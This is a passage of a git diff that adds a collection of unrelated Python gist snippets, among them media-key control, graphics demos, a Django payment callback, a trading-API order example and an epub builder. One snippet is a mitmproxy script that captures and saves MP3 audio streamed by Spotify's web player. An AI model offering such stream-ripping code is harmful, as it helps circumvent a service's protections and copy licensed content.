+				file_info = py_files[0]
+				filename = file_info['filename']
+				content = file_info['content']
+				return filename, content
+		else:
+			raise InvalidGistURLError()
+
+def main():
+	gist_url = clipboard.get()
+	try:
+		filename, content = download_gist(gist_url)
+		content = content.encode('ascii', 'ignore')
+		if os.path.isfile(filename):
+			i = console.alert('File exists', 'A file with the name ' + filename + 
+			                  ' already exists in your library.',
+			                  'Auto Rename')
+			if i == 1:
+				editor.make_new_file(filename, content)
+		else:
+			editor.make_new_file(filename, content)
+	except InvalidGistURLError:
+		console.alert('No Gist URL',
+		              'The clipboard doesn\'t seem to contain a valid Gist URL.',
+		              'OK')
+	except MultipleFilesInGistError:
+		console.alert('Multiple Files', 'This Gist contains multiple ' +
+			            'Python files, which isn\'t currently supported.')
+	except NoFilesInGistError:
+		console.alert('No Python Files', 'This Gist contains no Python files.')
+	except GistDownloadError:
+		console.alert('Error', 'The Gist could not be downloaded.')
+		
+if __name__ == '__main__':
+	main()
+
diff --git a/hard-gists/4078034/._snippet.py b/hard-gists/4078034/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4078034/._snippet.py differ
diff --git a/hard-gists/4078034/snippet.py b/hard-gists/4078034/snippet.py
new file mode 100644
index 00000000..c85a57d7
--- /dev/null
+++ b/hard-gists/4078034/snippet.py
@@ -0,0 +1,50 @@
+#!/usr/bin/python
+
+# CLI program to control the mediakeys on OS X. Used to emulate the mediakey on a keyboard with no such keys.
+# Easiest used in combination with a launcher/trigger software such as Quicksilver.
+# Main part taken from http://stackoverflow.com/questions/11045814/emulate-media-key-press-on-mac
+# Glue to make it into cli program by Fredrik Wallner http://www.wallner.nu/fredrik/
+
+import Quartz
+import sys
+
+# NSEvent.h
+NSSystemDefined = 14
+
+# hidsystem/ev_keymap.h
+NX_KEYTYPE_SOUND_UP = 0
+NX_KEYTYPE_SOUND_DOWN = 1
+NX_KEYTYPE_PLAY = 16
+NX_KEYTYPE_NEXT = 17
+NX_KEYTYPE_PREVIOUS = 18
+NX_KEYTYPE_FAST = 19
+NX_KEYTYPE_REWIND = 20
+
+supportedcmds = {'playpause': NX_KEYTYPE_PLAY, 'next': NX_KEYTYPE_NEXT, 'prev': NX_KEYTYPE_PREVIOUS, 'volup': NX_KEYTYPE_SOUND_UP, 'voldown': NX_KEYTYPE_SOUND_DOWN}
+
+def HIDPostAuxKey(key):
+	def doKey(down):
+		ev = Quartz.NSEvent.otherEventWithType_location_modifierFlags_timestamp_windowNumber_context_subtype_data1_data2_(
+			NSSystemDefined, # type
+			(0,0), # location
+			0xa00 if down else 0xb00, # flags
+			0, # timestamp
+			0, # window
+			0, # ctx
+			8, # subtype
+			(key << 16) | ((0xa if down else 0xb) << 8), # data1
+			-1 # data2
+			)
+		cev = ev.CGEvent()
+		Quartz.CGEventPost(0, cev)
+	doKey(True)
+	doKey(False)
+
+if __name__ == "__main__":
+	try:
+		command = sys.argv[1]
+		assert(command in supportedcmds)
+		HIDPostAuxKey(supportedcmds[command])
+	except (IndexError, AssertionError):
+		print "Usage: %s command" % (sys.argv[0],)
+		print "\tSupported commands are %s" % supportedcmds.keys()
\ No newline at end of file
diff --git a/hard-gists/4078780/._snippet.py b/hard-gists/4078780/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4078780/._snippet.py differ
diff --git a/hard-gists/4078780/snippet.py b/hard-gists/4078780/snippet.py
new file mode 100644
index 00000000..d049110e
--- /dev/null
+++ b/hard-gists/4078780/snippet.py
@@ -0,0 +1,68 @@
+# Draw cairo in a pyglet window - without an intermediate image file.
+
+import ctypes
+#import cairocffi as cairo # example will work with cairocffi instead too
+import cairo
+import time
+
+from pyglet import app, clock, font, gl, image, window
+
+WIDTH, HEIGHT = 400, 400
+
+window = window.Window(width=WIDTH, height=HEIGHT)
+ft = font.load('Arial', 24)
+text = font.Text(ft, 'Hello World')
+
+# create data shared by ImageSurface and Texture
+data = (ctypes.c_ubyte * (WIDTH * HEIGHT * 4))()
+stride = WIDTH * 4
+surface = cairo.ImageSurface.create_for_data (data, cairo.FORMAT_ARGB32,
+WIDTH, HEIGHT, stride); 
+texture = image.Texture.create_for_size(gl.GL_TEXTURE_2D, WIDTH, HEIGHT, gl.GL_RGBA)
+
+def update_surface(dt, surface):
+    # draw a rotating red triangle
+    ctx = cairo.Context(surface)
+    ctx.translate(200, 200)
+    ctx.rotate(time.time())
+
+    ctx.set_source_rgb(0, 0, 0)
+    ctx.paint()
+
+    ctx.set_line_width(15)
+    ctx.set_source_rgb(1, 0, 0)
+    ctx.move_to(0, -200)
+    ctx.line_to(200, 200)
+    ctx.rel_line_to(-400, 0)
+    ctx.close_path()
+    ctx.stroke()
+
+@window.event
+def on_draw():
+    window.clear()
+
+    gl.glEnable(gl.GL_TEXTURE_2D)
+    
+    gl.glBindTexture(gl.GL_TEXTURE_2D, texture.id)
+    gl.glTexImage2D(gl.GL_TEXTURE_2D, 0, gl.GL_RGBA, WIDTH, HEIGHT, 0, gl.GL_BGRA,
+    gl.GL_UNSIGNED_BYTE,
+    data)
+    
+    gl.glBegin(gl.GL_QUADS)
+    gl.glTexCoord2f(0.0, 1.0)
+    gl.glVertex2i(0, 0)
+    gl.glTexCoord2f(1.0, 1.0)
+    gl.glVertex2i(WIDTH, 0)
+    gl.glTexCoord2f(1.0, 0.0)
+    gl.glVertex2i(WIDTH, HEIGHT)
+    gl.glTexCoord2f(0.0, 0.0)
+    gl.glVertex2i(0, HEIGHT)
+    gl.glEnd()
+
+    text.draw()
+
+    #print('FPS: %f' % clock.get_fps())
+
+
+clock.schedule_interval(update_surface, 1/120.0, surface)
+app.run()
\ No newline at end of file
diff --git a/hard-gists/407d78fbe0f234ea34c6/._snippet.py b/hard-gists/407d78fbe0f234ea34c6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/407d78fbe0f234ea34c6/._snippet.py differ
diff --git a/hard-gists/407d78fbe0f234ea34c6/snippet.py b/hard-gists/407d78fbe0f234ea34c6/snippet.py
new file mode 100644
index 00000000..49675bfd
--- /dev/null
+++ b/hard-gists/407d78fbe0f234ea34c6/snippet.py
@@ -0,0 +1,81 @@
+import cv2
+import os
+
+#call visualize(QTable)  tod display the qtable
+#Press space to proceed, and q to exit (Frame render pauses execution)
+
+def write(image, output_dir="visualize", name=None, is_test_image=False):
+    if not os.path.exists(output_dir):
+        os.makedirs(output_dir)
+    if name is None:
+        name = str(int(time.time() * 1000000)) + ".jpg"
+    cv2.imwrite(os.path.join(output_dir, name), normalize(image.copy()))
+
+def discretize(pos):
+    return pos[0]*10 + pos[1]
+
+def un_discretize(pos):
+    return int(round(pos/10)), pos%10
+
+def normalize(image,min=0,max=255):
+    dst=None
+    image = cv2.normalize(image.copy(),dst,min,max,cv2.NORM_MINMAX)
+    return image.astype(np.uint8)
+
+def colorize(img,scheme=cv2.COLORMAP_JET):
+    img = cv2.cvtColor(normalize(img), cv2.COLOR_GRAY2BGR)
+    img = cv2.applyColorMap(img,scheme)
+    return img
+
+def show(src, name="C2",pause=None,color=False):
+    img = src.copy()
+
+    if color:
+        img=colorize(img)
+
+    if pause == None:
+        try:
+            if eval("__IPYTHON__"): #don't pause in interactive shell
+                pause=False
+        except:
+            pause=True #pause by default in interactive shell
+
+    cv2.imshow(name, normalize(img))
+    if pause:
+        key = cv2.waitKey(0)
+        if key == 113:
+            exit()
+            quit()
+
+def visualize(Q):
+    rows=10
+    cols=10
+
+    cell_w=30
+    cell_h=30
+
+    width=rows*cell_w
+    height=rows*cell_h
+
+    img = np.zeros((width,height))
+
+    for i in range(Q.shape[0]):
+        row, col = un_discretize(i)
+
+        top   = row * cell_w
+        bot   = top+cell_w
+        left  = col * cell_h
+        right = left + cell_h
+
+        color = Q[i].max()
+        direction = np.argmax(Q[i])
+
+        img[top:bot,left:right] = color
+
+        #draw arrow
+        font = cv2.FONT_HERSHEY_SIMPLEX
+        sym = {0: '^', 1: '>', 2: 'v', 3: '<', '*': '*'}
+        cv2.putText(img,sym[direction],(right-cell_h+5,bot-8), font, 0.5, (1),2,cv2.CV_AA)
+
+    show(img,color=True) #show the image 
+    #write(colorize(img))  #write the image
\ No newline at end of file
diff --git a/hard-gists/4083574/._snippet.py b/hard-gists/4083574/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4083574/._snippet.py differ
diff --git a/hard-gists/4083574/snippet.py b/hard-gists/4083574/snippet.py
new file mode 100644
index 00000000..178840cd
--- /dev/null
+++ b/hard-gists/4083574/snippet.py
@@ -0,0 +1,107 @@
+# encoding: utf-8
+from pylab import *
+
+def XDiff(x, y, a):
+    return -a * x + y #Griffithモデル
+
+def YDiff(x, y, b):
+    return x **2/ (1.0+ x **2) - b * y
+
+def XNull(x, a): #xヌルクライン
+    return a * x
+
+def YNull(x, b): #yヌルクライン
+    return x **2/ (b * (1.0+ x **2))
+
+def checkStablePoint(a, b, x): #det(J)が正かどうか確かめる
+    if a * b > 2* x / (1.0+ x **2) **2:
+        return "ko" #安定
+    else:
+        return "wo" #不安定
+
+x  = arange(0, 5.0, 0.1) #タンパク質濃度の定義域
+a = [0.5, 1, 2] #タンパク質の分解速度。ab <=> 0.5となるようにする
+b = 0.5 #mRNAの分解速度。ここでは1固定
+xNull = [] #xについてのヌルクラインを作成する
+yNull = YNull(x, b)
+
+for i in a:
+    xNull.append(XNull(x, i))
+"""#1つ目の固定点解析 numpy.sqrt
+figure()
+xlim(0, 4)
+ylim(0, 2)
+plot(x, yNull)
+plot(x, xNull[0])
+plot(0, xNull(0, a[0]), checkStablePoint(a[0], b, 0), markersize =10)
+plot(2- sqrt(3), XNull(2- sqrt(3), a[0]), checkStablePoint(a[0], b, 2- sqrt(3)), markersize =10)
+plot(2+ sqrt(3), XNull(2+ sqrt(3), a[0]), checkStablePoint(a[0], b, 2+ sqrt(3)), markersize =10)
+#2つ目の固定点解析
+figure()
+xlim(0, 4)
+ylim(0, 2)
+plot(x, yNull)
+plot(x, xNull[1])
+plot(0, xNull(0, a[1]), checkStablePoint(a[1], b, 0), markersize =10)
+plot(1, xNull(1, a[1]), checkStablePoint(a[1], b, 1), markersize =10)
+#3つ目の固定点解析
+figure()
+xlim(0, 4)
+ylim(0, 2)
+plot(x, yNull)
+plot(x, xNull[2])
+plot(0, xNull(0, a[2]), checkStablePoint(a[2], b, 0), markersize =10)
+
+for i in range(3):
+    figure()
+    xlim(0, 4)
+    ylim(0, 2)
+    plot(x, yNull)
+    plot(x, xNull[i])
+    
+    for j in arange(0, 4.2, 0.2):
+        for k in arange(0, 2.1, 0.1):
+            quiver(j, k, XDiff(j, k, a[i]), YDiff(j, k, b))
+
+#1つ目: ab = 0.25
+figure() #新たな描画面を作成
+xlim(0, 4) #範囲指定
+ylim(0, 2)
+plot(x, yNull)
+plot(x, xNull[0]) #以下ベクトル場を作成
+quiver(0.2, XNull(0.2, a[0]), 0, YDiff(0.2, XNull(0.2, a[0]), b))
+quiver(0.2, YNull(0.2, b), XDiff(0.2, YNull(0.2, b), a[0]), 0)
+quiver(1, XNull(1, a[0]), 0, YDiff(1, XNull(1, a[0]), b))
+quiver(1, YNull(1, b), XDiff(1, YNull(1, b), a[0]), 0)
+quiver(4, XNull(4, a[0]), 0, YDiff(4, XNull(4, a[0]), b))
+quiver(4, YNull(4, b), XDiff(4, YNull(4, b), a[0]), 0)
+
+#2つ目: ab = 0.5
+figure() #新たな描画面を作成
+xlim(0, 4) #範囲指定
+ylim(0, 2)
+plot(x, yNull)
+plot(x, xNull[1]) #以下ベクトル場を作成
+quiver(0.5, XNull(0.5, a[1]), 0, YDiff(0.5, XNull(0.5, a[1]), b))
+quiver(0.5, YNull(0.5, b), XDiff(0.5, YNull(0.5, b), a[1]), 0)
+quiver(2, XNull(2, a[1]), 0, YDiff(2, XNull(2, a[1]), b))
+quiver(2, YNull(2, b), XDiff(2, YNull(2, b), a[1]), 0)
+
+#3つ目: ab = 0.1
+figure() #新たな描画面を作成
+xlim(0, 4) #範囲指定
+ylim(0, 2)
+plot(x, yNull)
+plot(x, xNull[2]) #以下ベクトル場を作成
+quiver(1, XNull(1, a[2]), 0, YDiff(1, XNull(1, a[2]), b))
+quiver(1, YNull(1, b), XDiff(1, YNull(1, b), a[2]), 0)
+"""
+figure()
+xlim(0, 4)
+ylim(0, 2)
+plot(x, yNull)
+
+for i in xNull:
+    plot(x, i)
+
+show() #全figure描画
diff --git a/hard-gists/4088322/._snippet.py b/hard-gists/4088322/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4088322/._snippet.py differ
diff --git a/hard-gists/4088322/snippet.py b/hard-gists/4088322/snippet.py
new file mode 100644
index 00000000..17f3a271
--- /dev/null
+++ b/hard-gists/4088322/snippet.py
@@ -0,0 +1,7 @@
+"""
+SUDS caches WSDL files by default.  This command will clear the cache. 
+"""
+
+from openkm import client
+client = client.Client(url)
+client.options.cache.clear()
\ No newline at end of file
diff --git a/hard-gists/4089133/._snippet.py b/hard-gists/4089133/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4089133/._snippet.py differ
diff --git a/hard-gists/4089133/snippet.py b/hard-gists/4089133/snippet.py
new file mode 100644
index 00000000..bd64ea6f
--- /dev/null
+++ b/hard-gists/4089133/snippet.py
@@ -0,0 +1,44 @@
+#!/usr/bin/env python
+
+"""
+Rudimentary Spotify Web Proxy using mitmproxy.
+Use it by your own responsibility!!
+This was only entertainment!!
+"""
+
+import random
+import hashlib
+
+from libmproxy import proxy, flow
+
+
+class SpotifyProxy(flow.FlowMaster):
+    def run(self):
+        try:
+            flow.FlowMaster.run(self)
+        except KeyboardInterrupt:
+            self.shutdown()
+
+    def handle_request(self, r):
+        f = flow.FlowMaster.handle_request(self, r)
+        if f:
+            r._ack()
+        return f
+
+    def handle_response(self, r):
+        f = flow.FlowMaster.handle_response(self, r)
+        if f:
+            r._ack()
+        if 'cloudfront.net' in f.request.host and 'mp3' in f.request.path:
+            filename = '%s.mp3' % hashlib.sha1(str(random.random())).hexdigest()
+            mp3 = open(filename, 'w')
+            mp3.write(f.response.content)
+            mp3.close()
+            print "Saved to %s" % filename
+        return f
+
+config = proxy.ProxyConfig()
+state = flow.State()
+server = proxy.ProxyServer(config, 9000)
+m = SpotifyProxy(server, state)
+m.run()
diff --git a/hard-gists/4091897/._snippet.py b/hard-gists/4091897/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4091897/._snippet.py differ
diff --git a/hard-gists/4091897/snippet.py b/hard-gists/4091897/snippet.py
new file mode 100644
index 00000000..bda76dbe
--- /dev/null
+++ b/hard-gists/4091897/snippet.py
@@ -0,0 +1,153 @@
+## views.py
+
+import tempfile
+import os
+import commands
+import cgi
+
+from django import http
+from django.views.decorators.csrf import csrf_exempt
+from django.shortcuts import render
+from django.views.decorators.http import require_POST
+from django.conf import settings
+
+from joldit.apps.payments.models import Order
+
+
+SUCCESS_RESPONSE = 'ACEPTADO'
+FAILURE_RESPONSE = 'RECHAZADO'
+VALID_MAC_RESPONSE = 'CORRECTO'
+
+
+@csrf_exempt
+def success(request):
+  return render(request, 'payments/success.html')
+
+
+def fail(request):
+  return render(request, 'payments/fail.html')
+
+
+@require_POST
+@csrf_exempt
+def callback(request):
+  transaction_code = request.POST.get('TBK_RESPUESTA')
+  unique_id = request.POST.get('TBK_ORDEN_COMPRA')
+  amount = int(request.POST.get('TBK_MONTO')) / 100
+  authorization_code = request.POST.get('TBK_CODIGO_AUTORIZACION')
+  transaction_id = request.POST.get('TBK_ID_TRANSACCION')
+  last_4_digits = request.POST.get('TBK_FINAL_NUMERO_TARJETA')
+
+  success = False
+  qs = _get_qs(request)
+
+  order_obj = Order.objects.get(unique_id=unique_id)
+  order_obj.transaction_code = transaction_code
+  order_obj.gateway_response = qs
+  order_obj.transaction_id = transaction_id
+  order_obj.last_4_digits = last_4_digits
+
+  if transaction_code == '0' and _valid_mac(qs) == VALID_MAC_RESPONSE:
+    if order_obj.amount == amount and not order_obj.authorization_code:
+      order_obj.authorization_code = authorization_code
+      order_obj.status = order_obj.PAID
+      success = True
+    else:
+      order_obj.status = order_obj.INVALID_AMOUNT
+  else:
+    order_obj.status = order_obj.INVALID
+
+  order_obj.save()
+
+  if success:
+    order_obj.notify_reservation()
+    return http.HttpResponse(SUCCESS_RESPONSE)
+  return http.HttpResponse(FAILURE_RESPONSE)
+
+
+def _get_qs(request):
+  return '&'.join(['%s=%s' % (k,v) for k,v in cgi.parse_qsl(request.body)])
+
+
+def _valid_mac(qs):
+  descriptor, temp_path = tempfile.mkstemp()
+  f = os.fdopen(descriptor, 'w')
+  f.write(qs)
+  f.close()
+  command = '%(mac)s %(temp_path)s' % {
+    'mac': settings.WEBPAY_MAC_CGI,
+    'temp_path': temp_path
+  }
+  valid_mac = commands.getoutput(command).strip() == VALID_MAC_RESPONSE
+  os.remove(temp_path)
+  return VALID_MAC_RESPONSE if valid_mac else FAILURE_RESPONSE
+
+
+## models.py
+
+from django.db import models
+from django.utils.translation import ugettext_lazy as _
+
+from joldit.apps.spaces.models import Reservation
+
+
+TRANSACTION_CODES = {
+  '0': _('Transaction approved.'),
+  '-1': _('Transaction denied.'),
+  '-2': _('Transaction must retry.'),
+  '-3': _('Error in transaction.'),
+  '-4': _('Transaction denied.'),
+  '-5': _('Denied by error in rate.'),
+  '-6': _('Exceeds monthly limit.'),
+  '-7': _('Exceeds daily limit by transaction.'),
+  '-8': _('Not authorized.')
+}
+
+
+class Order(models.Model):
+  WEBPAY = 'webpay'
+  TRANSFER = 'transfer'
+  SOURCES = (
+    (WEBPAY, _('Webpay Chile')),
+    (TRANSFER, _('Transfer'))
+  )
+  PENDING, PAID, CANCELED, INVALID, INVALID_AMOUNT = range(5)
+  STATUSES = (
+    (PENDING, _('Pending')),
+    (PAID, _('Paid')),
+    (CANCELED, _('Canceled')),
+    (INVALID, _('Invalid')),
+    (INVALID_AMOUNT, _('Invalid Amount'))
+  )
+
+  reservation = models.ForeignKey(Reservation)
+  unique_id = models.CharField(max_length=42, unique=True)
+  status = models.PositiveSmallIntegerField(choices=STATUSES, default=PENDING)
+  source = models.CharField(max_length=10, choices=SOURCES, blank=True)
+  amount = models.PositiveIntegerField(default=0)
+  transaction_code = models.IntegerField(default=0)
+  authorization_code = models.CharField(max_length=80, blank=True)
+  last_4_digits = models.CharField(max_length=4, blank=True)
+  transaction_id  = models.CharField(max_length=80, blank=True)
+  received_at = models.DateTimeField()
+  created_at = models.DateTimeField(auto_now_add=True)
+  gateway_response = models.TextField()
+
+  class Meta:
+    db_table = 'orders'
+
+  def __unicode__(self):
+    return '%s:%s' % (self.unique_id, self.get_status_display())
+
+  def get_receipt_number(self):
+    return '%06d' % self.id
+
+  def get_transaction_message(self):
+    return TRANSACTION_CODES.get(self.transaction_code)
+
+  def notify_reservation(self):
+    """Notifies the reservation about this order being paid."""
+    reservation = self.reservation
+    if self.amount >= reservation.total:
+      reservation.change_and_log(reservation.from_user, Reservation.PAID,
+                                 'Paid by order_unique_id %s' % self.unique_id)
\ No newline at end of file
diff --git a/hard-gists/4093759/._snippet.py b/hard-gists/4093759/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4093759/._snippet.py differ
diff --git a/hard-gists/4093759/snippet.py b/hard-gists/4093759/snippet.py
new file mode 100644
index 00000000..d3414396
--- /dev/null
+++ b/hard-gists/4093759/snippet.py
@@ -0,0 +1,112 @@
+
+"""
+- sequence read
+- sequence write 
+"""
+
+import os
+import sys
+import time
+import errno
+import time 
+import threading 
+import qfs
+import Queue 
+import sys 
+sourceQueue = Queue.Queue()
+
+def ParseConfig(config):
+    host = ''
+    port = -1
+    for line in open("qfssample.cfg"):
+        if line.startswith("#") or len(line.strip()) == 0:
+            continue
+        s = line.strip()
+        if s.split('=')[0].strip() == 'metaServer.name':
+            host = s.split('=')[1].strip()
+        elif s.split('=')[0].strip() == 'metaServer.port':
+            port = int(s.split('=')[1].strip())
+    if (host,port) == ('', -1):
+        sys.exit('Failed to parse config file')
+    return (host,port)
+
+
+def createDirectories(Client, Url, parentFolder):
+	LF   = Url.split('/')
+	lenL = len (LF)
+	index = 0
+	for i in LF:
+		if(index  < lenL - 1 and i != None and i != ''):
+			parentFolder = parentFolder + i + "/"
+			try:
+				Client.mkdir(parentFolder)
+				print "Create %s" %(parentFolder)
+			except IOError, err:
+				pass
+		index = index + 1
+		
+class ReadThread(threading.Thread):
+	def __init__(self, inputFile, sourceQueue):
+		threading.Thread.__init__(self) 
+		self.inputFile   = inputFile 
+		self.sourceQueue =  sourceQueue 
+	def run(self):
+		fileContent = open(self.inputFile, 'r')
+		while True:
+			line = fileContent.readline() 
+			if not line: break 
+			self.sourceQueue.put(line) 
+			
+
+class WriteThread(threading.Thread):
+	def __init__(self, inputQueue, Client):
+		threading.Thread.__init__(self)
+		self.inputQueue = inputQueue
+		self.Client 	= Client 
+	def processQueueItem(self):
+		while True:
+			if not self.inputQueue.empty(): item = self.inputQueue.get().strip()
+			if item: 
+				timeStart = time.time()
+				photoFile = item.split('/')[-1]
+				recursiveDir = item.replace(photoFile, '')  
+				createDirectories(self.Client, recursiveDir, '/')
+				self.Client.cd(recursiveDir) 
+				dfsFile = self.Client.create(photoFile.split('.')[0], 1)
+				binaryData = open(item, 'rb').read() 
+				dfsFile.write(binaryData)
+				dfsFile.sync()
+				dfsFile.close()
+				print "Read and write %s in %s" %(item, (time.time() - timeStart)) 
+		
+
+def main():
+	if len(sys.argv) < 2:
+		sys.exit('Usage: %s config_file' % sys.argv[0])
+	client = None
+	server = ParseConfig(sys.argv[1])
+	listFile = "allPhoto.txt"
+	f = open(listFile)
+	try:
+		client = qfs.client(server)
+	except:
+		print "Unable to start the QFS client."
+		print "Make sure that the meta- and chunkservers are running."
+		sys.exit(1)
+	start = time.time() 
+	# initialize queue 
+	for i in range(10):
+		reader = ReadThread(listFile, sourceQueue) 
+		reader.setDaemon(True) 
+		reader.run()
+	for i in range(5): 
+		writer = WriteThread(sourceQueue, client)
+		writer.setDaemon(True)
+		writer.processQueueItem()
+	
+	print "Read from MFS and write QFS  in %s seconds" %((time.time() - start))
+
+	 
+	
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/4093998b625d76ef4afe/._snippet.py b/hard-gists/4093998b625d76ef4afe/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4093998b625d76ef4afe/._snippet.py differ
diff --git a/hard-gists/4093998b625d76ef4afe/snippet.py b/hard-gists/4093998b625d76ef4afe/snippet.py
new file mode 100644
index 00000000..6a2826f8
--- /dev/null
+++ b/hard-gists/4093998b625d76ef4afe/snippet.py
@@ -0,0 +1,74 @@
+from ib.opt import Connection, message
+from ib.ext.Contract import Contract
+from ib.ext.Order import Order
+
+from random import randint
+import time
+
+def error_handler(msg):
+    print ("Server Error: %s" % msg)
+
+def reply_handler(msg):
+    print ("Server Response: %s, %s" % (msg.typeName, msg))
+
+# Globals suck; you should replace with a custom class in your production code.
+time_received_next_valid_order_id = None # will be set as soon as we connect
+next_valid_order_id = None # will be set as soon as we connect
+def next_valid_order_id_handler(msg):
+    global time_received_next_valid_order_id, next_valid_order_id
+    next_valid_order_id = msg.orderId
+    time_received_next_valid_order_id = time.time()
+
+def make_contract(symbol, sec_type, exch, prim_exch, curr):
+    Contract.m_symbol = symbol
+    Contract.m_secType = sec_type
+    Contract.m_exchange = exch
+    Contract.m_primaryExch = prim_exch
+    Contract.m_currency = curr
+    return Contract
+
+def get_next_valid_order_id(conn):
+    """
+    You must assign a unique order ID to each order you place. IB's servers
+    keep track of the next available order ID you can use; this function
+    requests that value from IB's servers, waits until IB sends a response,
+    then returns the ID.
+    """
+    global time_received_next_valid_order_id, next_valid_order_id
+    last_time = time_received_next_valid_order_id
+    next_valid_order_id = conn.reqIds(1) # Always keep arg set to 1 (cruft)
+    #Wait until IB sends the next valid ID
+    while last_time == time_received_next_valid_order_id:
+        time.sleep(0.01)
+    return next_valid_order_id
+
+def make_order(action, quantity, price = None):
+    if price is not None:
+        order = Order()
+        order.m_orderType = 'LMT'
+        order.m_totalQuantity = quantity
+        order.m_action = action
+        order.m_lmtPrice = price
+    else:
+        order = Order()
+        order.m_orderType = 'MKT'
+        order.m_totalQuantity = quantity
+        order.m_action = action
+    return order
+
+if __name__ == "__main__":
+    conn = Connection.create(port=7497, clientId=999)
+    
+    #Register handlers before connecting
+    conn.register(error_handler, 'Error')
+    conn.registerAll(reply_handler)
+    conn.register(next_valid_order_id_handler, 'NextValidId')
+    
+    conn.connect()
+    
+    oid = get_next_valid_order_id(conn)
+    cont = make_contract('TWTR', 'STK', 'SMART', 'SMART', 'USD')
+    offer = make_order('BUY', 1, None)
+    conn.placeOrder(oid, cont, offer)
+    
+    conn.disconnect()
\ No newline at end of file
diff --git a/hard-gists/4104455/._snippet.py b/hard-gists/4104455/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4104455/._snippet.py differ
diff --git a/hard-gists/4104455/snippet.py b/hard-gists/4104455/snippet.py
new file mode 100644
index 00000000..744500cc
--- /dev/null
+++ b/hard-gists/4104455/snippet.py
@@ -0,0 +1,65 @@
+# -*- coding: utf-8 -*-
+"""
+Builds epub book out of Paul Graham's essays: http://paulgraham.com/articles.html
+
+Author: Ola Sitarska <ola@sitarska.com>
+Copyright: Licensed under the GPL-3 (http://www.gnu.org/licenses/gpl-3.0.html)
+
+This script requires python-epub-library: http://code.google.com/p/python-epub-builder/
+"""
+
+import re, ez_epub, urllib2, genshi
+from BeautifulSoup import BeautifulSoup
+
+def addSection(link, title):
+    if not 'http' in link:
+        page = urllib2.urlopen('http://www.paulgraham.com/'+link).read()
+        soup = BeautifulSoup(page)
+        soup.prettify() 
+    else:
+        page = urllib2.urlopen(link).read()
+        
+    section = ez_epub.Section()
+    try:
+        section.title = title
+        print section.title
+
+        if not 'http' in link:
+            font = str(soup.findAll('table', {'width':'455'})[0].findAll('font')[0])
+            if not 'Get funded by' in font and not 'Watch how this essay was' in font and not 'Like to build things?' in font and not len(font)<100:
+                content = font
+            else:
+                content = ''
+                for par in soup.findAll('table', {'width':'455'})[0].findAll('p'):
+                    content += str(par)
+
+            for p in content.split("<br /><br />"):
+                section.text.append(genshi.core.Markup(p))
+
+            #exception for Subject: Airbnb
+            for pre in soup.findAll('pre'):
+                section.text.append(genshi.core.Markup(pre))
+        else:
+            for p in str(page).replace("\n","<br />").split("<br /><br />"):
+                section.text.append(genshi.core.Markup(p))
+    except:
+        pass
+    
+    return section
+
+
+book = ez_epub.Book()
+book.title = "Paul Graham's Essays"
+book.authors = ['Paul Graham']
+
+page = urllib2.urlopen('http://www.paulgraham.com/articles.html').read()
+soup = BeautifulSoup(page)
+soup.prettify()
+
+links = soup.findAll('table', {'width': '455'})[1].findAll('a')
+sections = []
+for link in links:
+    sections.append(addSection(link['href'], link.text))
+    
+book.sections = sections
+book.make(book.title)
\ No newline at end of file
diff --git a/hard-gists/4108a54877406dc231d95514e538bde9/._snippet.py b/hard-gists/4108a54877406dc231d95514e538bde9/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4108a54877406dc231d95514e538bde9/._snippet.py differ
diff --git a/hard-gists/4108a54877406dc231d95514e538bde9/snippet.py b/hard-gists/4108a54877406dc231d95514e538bde9/snippet.py
new file mode 100644
index 00000000..ebc2ac47
--- /dev/null
+++ b/hard-gists/4108a54877406dc231d95514e538bde9/snippet.py
@@ -0,0 +1,99 @@
+#!/usr/bin/python3
+from __future__ import print_function
+import argparse
+import binascii
+import os
+import sys
+from bluepy import btle
+import paho.mqtt.client as mqtt
+
+MISCALE_MAC = '88:0f:XX:XX:XX:XX'
+MQTT_USERNAME = ''
+MQTT_PASSWORD = ''
+MQTT_HOST = '192.168.XXX.XXX'
+MQTT_PORT = 1883
+MQTT_TIMEOUT = 60
+
+if os.getenv('C', '1') == '0':
+    ANSI_RED = ''
+    ANSI_GREEN = ''
+    ANSI_YELLOW = ''
+    ANSI_CYAN = ''
+    ANSI_WHITE = ''
+    ANSI_OFF = ''
+else:
+    ANSI_CSI = "\033["
+    ANSI_RED = ANSI_CSI + '31m'
+    ANSI_GREEN = ANSI_CSI + '32m'
+    ANSI_YELLOW = ANSI_CSI + '33m'
+    ANSI_CYAN = ANSI_CSI + '36m'
+    ANSI_WHITE = ANSI_CSI + '37m'
+    ANSI_OFF = ANSI_CSI + '0m'
+
+
+class ScanProcessor():
+
+    def __init__(self):
+        self.mqtt_client = None
+        self.connected = False
+        self._start_client()
+
+    def handleDiscovery(self, dev, isNewDev, isNewData):
+        if dev.addr == MISCALE_MAC.lower() and isNewDev:
+            print ('    Device: %s (%s), %d dBm %s. ' %
+                   (
+                       ANSI_WHITE + dev.addr + ANSI_OFF,
+                       dev.addrType,
+                       dev.rssi,
+                       ('' if dev.connectable else '(not connectable)'))
+                   , end='')
+            for (sdid, desc, data) in dev.getScanData():
+                if data.startswith('1d18') and sdid == 22:
+                    measunit = data[4:6]
+                    measured = int((data[8:10] + data[6:8]), 16) * 0.01
+                    unit = ''
+
+                    if measunit.startswith(('03', 'b3')): unit = 'lbs'
+                    if measunit.startswith(('12', 'b2')): unit = 'jin'
+                    if measunit.startswith(('22', 'a2')): unit = 'kg' ; measured = measured / 2
+
+                    if unit:
+                        print('')
+                        self._publish(round(measured, 2), unit)
+                    else:
+                        print("Scale is sleeping.")
+
+            if not dev.scanData:
+                print ('\t(no data)')
+            print
+
+    def _start_client(self):
+        self.mqtt_client = mqtt.Client()
